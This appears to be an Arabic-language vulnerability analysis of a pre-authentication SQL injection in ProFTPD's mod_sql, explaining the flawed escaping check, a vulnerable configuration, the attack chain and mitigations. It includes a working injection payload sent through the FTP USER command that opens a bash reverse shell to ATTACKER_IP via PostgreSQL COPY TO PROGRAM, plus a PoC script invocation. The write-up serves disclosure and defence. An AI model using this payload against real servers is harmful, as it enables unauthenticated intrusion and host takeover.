
# ثغرة تنفيذ أوامر عن بُعد قبل المصادقة في ProFTPD عبر تجاوز is_escaped_text() في mod_sql (CVE-2026-42167)
mod_sqlالمؤلف: Van Glenndon Enad
الاكتشاف الأصلي: ZeroPath
تاريخ النشر: 1 مايو 2026
الخطورة: حرجة
درجة CVSS v3.1: 8.1
متجه CVSS v3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
درجة CVSS v2: 7.6
متجه CVSS v2: CVSS2#AV:N/AC:H/Au:N/C:C/I:C/A:C
CWE: CWE-89 (حقن SQL)، CWE-78 (حقن أوامر نظام التشغيل)
CVE-2026-42167 هي ثغرة حرجة لحقن SQL قبل المصادقة في وحدة الامتداد mod_sql الخاصة بـ ProFTPD. يسمح خلل منطقي في دالة is_escaped_text() لمهاجم غير مصادق بتجاوز تهريب أحرف SQL من خلال صياغة أمر USER تستوفي قيمته معيارًا خاطئًا لـ"تم التهريب بالفعل". يتم تمرير SQL المحقون مباشرة إلى قاعدة البيانات الخلفية عبر PQexec()، والتي تدعم الاستعلامات المكدسة.
عندما يكون دور قاعدة بيانات ProFTPD مستخدمًا خارقًا في PostgreSQL — وهو سوء تكوين شائع في النشر الحاوي — يصل الحقن إلى توجيه COPY TO PROGRAM الخاص بـ PostgreSQL، مما يؤدي إلى تنفيذ تعليمات برمجية عن بُعد على مستوى نظام التشغيل بدون مصادقة كمستخدم النظام postgres. لا حاجة لبيانات اعتماد، ولا وصول مسبق، ولا تفاعل من المستخدم.
| المكوّن | الإصدار |
|---|---|
| ProFTPD | ≤ 1.3.9 |
| الوحدة | mod_sql + mod_sql_postgres |
| الإصدار المُصلَح | 1.3.9a (صدر في 27 أبريل 2026) |
| قاعدة البيانات الخلفية | PostgreSQL (RCE)؛ MySQL / SQLite (تجاوز المصادقة فقط) |
ProFTPD هو خادم FTP مفتوح المصدر واسع الانتشار. وفقًا لـ Shodan، يوجد أكثر من 160,000 مثيل ProFTPD متاح للجمهور على الإنترنت. وحدة mod_sql مفعّلة بشكل شائع في لوحات تحكم الاستضافة المشتركة بما في ذلك cPanel وPlesk وDirectAdmin وWebmin وISPConfig.
تدعم وحدة mod_sql في ProFTPD المصادقة وتسجيل النشاط المستندين إلى SQL. يمكن أن تتضمن سلاسل تنسيق السجل متغيرات استبدال مثل %U (اسم المستخدم) و%r (المضيف البعيد) و%m (أمر FTP). يتم توسيع هذه المتغيرات في وقت التشغيل وإدراجها في استعلامات SQL المنفذة ضد قاعدة البيانات الخلفية المكوّنة.
تكوين ضعيف نموذجي:
LoadModule mod_sql.c
LoadModule mod_sql_postgres.c
SQLEngine on
SQLBackend postgres
SQLAuthTypes Plaintext
SQLConnectInfo dbname@localhost dbuser dbpassword
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog * log_activity
SQLLog ERR_* log_activity
في هذا التكوين، يتم استبدال القيمة المقدمة في أمر FTP USER بـ %U وإدراجها مباشرة في عبارة SQL INSERT. قبل الإدراج، تمر القيمة عبر is_escaped_text() لتحديد ما إذا كانت تحتاج إلى تهريب. تحتوي هذه الدالة على خلل منطقي حرج.
is_escaped_text() المعيبةتقع في contrib/mod_sql.c، وتطبق الدالة المعيار التالي لتقرر ما إذا كانت السلسلة "تم تهريبها بالفعل":
static int is_escaped_text(const char *s) {
size_t slen = strlen(s);
/* Assume the string is escaped if:
* 1. It starts with a single quote
* 2. It ends with a single quote
* 3. It contains no internal single quotes
*/
if (slen >= 2 &&
s[0] == '\'' &&
s[slen - 1] == '\'' &&
strchr(s + 1, '\'') == (s + slen - 1)) {
return TRUE; /* skip escaping */
}
return FALSE;
}
عندما ترجع هذه الدالة TRUE، تقوم sql_resolved_append_text() (السطر 777) بإدراج القيمة الخام غير المهربة مباشرة في سلسلة الاستعلام. ثم يتم تنفيذ القيمة بواسطة PQexec() في contrib/mod_sql_postgres.c (السطر 1146)، والتي تدعم الاستعلامات المكدسة (متعددة العبارات).
كان المعيار على الأرجح يهدف إلى اكتشاف السلاسل المحاطة بالفعل بمحددات سلاسل SQL. ومع ذلك، لا يحاول التحقق من أن المحتوى الداخلي آمن — فقط يتحقق من عدم وجود علامات اقتباس مفردة إضافية. هذا يعني أن أي حمولة:
''$$ الخاص بـ PostgreSQL بدلاً من ذلك)...ستجتاز الفحص ويتم حقنها حرفيًا في استعلام SQL.
FTP Client ProFTPD PostgreSQL
│ │ │
│── USER '<payload>' ──▶ │ │
│ │ expand %U = '<payload>' │
│ │ is_escaped_text() = TRUE│
│ │ skip escaping │
│ │── INSERT INTO activity │
│ │ VALUES ('<payload>', │
│ │ ...) ──────────────▶ │
│ │ │ execute stacked SQL
│ │ │ COPY TO PROGRAM
│ │ │── shell command ──▶ OS
| المتطلب | ملاحظات |
|---|---|
تفعيل mod_sql مع تسجيل SQL | يجب تسجيل متغير قبل المصادقة مثل %U |
| قاعدة بيانات PostgreSQL خلفية | مطلوبة لـ COPY TO PROGRAM RCE؛ MySQL/SQLite لا تزال تسمح بتجاوز المصادقة |
| دور قاعدة البيانات هو مستخدم خارق في PostgreSQL | COPY TO PROGRAM مقيد بالمستخدمين الخارقين أو أعضاء pg_execute_server_program |
توفر bash على مضيف قاعدة البيانات | مطلوب لتسليم الصدفة العكسية عبر /dev/tcp |
| إمكانية الوصول عبر الشبكة | يجب أن تكون حاوية PostgreSQL قادرة على الوصول إلى المهاجم على منفذ المستمع |
غالبًا ما يتم استيفاء شرط المستخدم الخارق في النشر الحاوي حيث يتم إنشاء مستخدم قاعدة بيانات ProFTPD عبر POSTGRES_USER=... في صورة Docker الرسمية لـ PostgreSQL، أو عندما يمنح المسؤول دور ProFTPD ملكية قاعدة البيانات.
Step 1: Attacker sends crafted USER command (pre-auth, no credentials needed)
│
▼
Step 2: ProFTPD expands %U with attacker-controlled value
│
▼
Step 3: is_escaped_text() bypass — raw SQL passes through unescaped
│
▼
Step 4: PQexec() executes stacked query against PostgreSQL
│
▼
Step 5: COPY TO PROGRAM executes attacker shell command as postgres OS user
│
▼
Step 6: Reverse shell / file exfiltration delivered to attacker
يتم تسليم حمولة الحقن عبر أمر FTP USER:
USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$bash -c $$bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1$$$$; --'
| الشرط | مستوفى؟ | السبب |
|---|---|---|
تبدأ بـ ' | ✅ | الحرف الأول هو ' |
تنتهي بـ ' | ✅ | الحرف الأخير هو ' |
| لا توجد علامات اقتباس مفردة داخلية | ✅ | السلاسل الداخلية تستخدم اقتباس الدولار $$ |
| المقطع | الغرض |
|---|---|
', null, null); | يغلق عبارة INSERT الأصلية بشكل نظيف |
COPY (SELECT $$x$$) TO PROGRAM | استعلام مكدس يستخدم COPY TO PROGRAM الخاص بـ PostgreSQL |
$$bash -c ...$$ | أمر شل يستخدم اقتباس الدولار $$ لتجنب علامات الاقتباس المفردة |
; --' | ينهي الاستعلام المكدس؛ --' يعلّق على الباقي ويوفر علامة الاقتباس المغلقة ' للتجاوز |
تحذير: هذا PoC مقدم لأغراض تعليمية واختبار مصرح به فقط. لا تستخدمه ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها.
الاستخدام النموذجي:
python3 CVE-2026-42167-preauth-user-rce.py --host TARGET_IP --port TARGET_PORT --shell-host ATTACKER_IP --shell-port ANY_PORT
| الفئة | الوصف |
|---|---|
| السرية | وصول قراءة كامل لنظام الملفات كمستخدم نظام التشغيل postgres |
| السلامة | القدرة على كتابة الملفات، تعديل محتويات قاعدة البيانات، تثبيت أبواب خلفية |
| التوفر | انقطاع الخدمة، تدمير البيانات ممكن |
| المصادقة | قابل للاستغلال بدون أي بيانات اعتماد قبل المصادقة |
| النطاق | يمتد إلى ما بعد ProFTPD إلى مضيف PostgreSQL الأساسي |
أي نظام يكون فيه ProFTPD مشاركًا في الموقع مع مثيل PostgreSQL أو لديه وصول مستخدم خارق إليه معرض لخطر اختراق المضيف بالكامل. الحركة الجانبية إلى الأنظمة المجاورة والاستمرارية عبر مهام cron أو حقن مفاتيح SSH قابلة للتحقيق بسهولة بعد الاستغلال.
is_escaped_text() بمعالجة استعلامات معلمة بشكل صحيحmod_sql بالكامل (أزل توجيهات SQLLog)%U، %r، %m) من تعريفات SQLNamedQueryINSERT فقط في جدول السجل وSELECT في جدول المصادقةUSER تحتوي على علامات اقتباس مفردة أو COPY أو PROGRAM أو كلمات SQL رئيسية| التاريخ | الحدث |
|---|---|
| 28 مارس 2026 | الإبلاغ عن الثغرة إلى مطوري ProFTPD |
| 7 أبريل 2026 | بدء التحقق من التصحيح |
| 24 أبريل 2026 | تعيين CVE-2026-42167 |
| 27 أبريل 2026 | تنفيذ الإصلاح؛ إصدار ProFTPD 1.3.9a |
| 28 أبريل 2026 | النشر على NVD |
| 28–29 أبريل 2026 | نشر مستودعات PoC عامة على GitHub |
| 1 مايو 2026 | نشر تحليل مستقل وPoC مبسط |
إخلاء مسؤولية قانوني: يُنشر هذا التحليل وإثبات المفهوم بدقة لأغراض تعليمية وبحثية وأمنية دفاعية. لا يدعم المؤلف الوصول غير المصرح به إلى أنظمة الكمبيوتر. احصل دائمًا على إذن كتابي صريح قبل إجراء اختبارات أمنية ضد أي نظام لا تملكه.